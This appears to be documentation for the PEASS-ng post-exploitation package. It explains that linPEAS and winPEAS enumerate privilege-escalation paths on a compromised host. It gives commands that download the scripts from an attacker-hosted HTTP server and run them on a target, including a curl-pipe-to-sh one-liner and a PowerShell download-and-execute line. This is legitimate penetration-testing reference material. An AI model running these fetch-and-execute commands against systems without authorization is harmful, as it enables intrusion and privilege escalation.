PEASS-ng
peass-ng (Privilege Escalation Awesome Scripts SUITE) ships linPEAS and
winPEAS: scripts that enumerate a compromised host for every realistic
privilege-escalation path — SUID binaries, sudo misconfigurations, writable
services and cron jobs, credentials left in files or history, kernel/OS exploit
candidates — and colour-highlight the findings most worth chasing. This isn’t a
tool you run against yourself; it’s payload you transfer to and execute on a
target once you have a foothold there.
That’s why it’s installed as data, not a program — there’s no binary and nothing to launch from the menu. It’s a set of files you serve to a target and run there.
What’s installed
| Path | What it is |
|---|---|
/usr/share/peass-ng/ |
linPEAS (linpeas.sh and static-binary variants for offline targets) and winPEAS (winPEASx64.exe, winPEASx86.exe, winPEAS.bat, winPEAS.ps1). |
Reachable from Security → Post Exploitation → PEASS-ng, which opens the folder directly.
Using it
- Host the script. Use Trigger → Pentest → HTTP File Server → Serve linPEAS (or Serve winPEAS) — see Quick Actions — already pointed at the right directory, so you only need to confirm a port.
- Pull and run it on the target.
# Linux target curl http://10.0.0.5:8000/linpeas.sh | sh # Windows target (PowerShell) iwr http://10.0.0.5:8000/winPEASx64.exe -OutFile winPEAS.exe; .\winPEAS.exe - Read top-down. Both scripts colour their own output — red/yellow entries are the ones to chase first. linPEAS in particular front-loads the highest- confidence findings before the full enumeration dump.
Pair it with impacket or sliver to get the initial foothold, then peass-ng to work out what to do with it.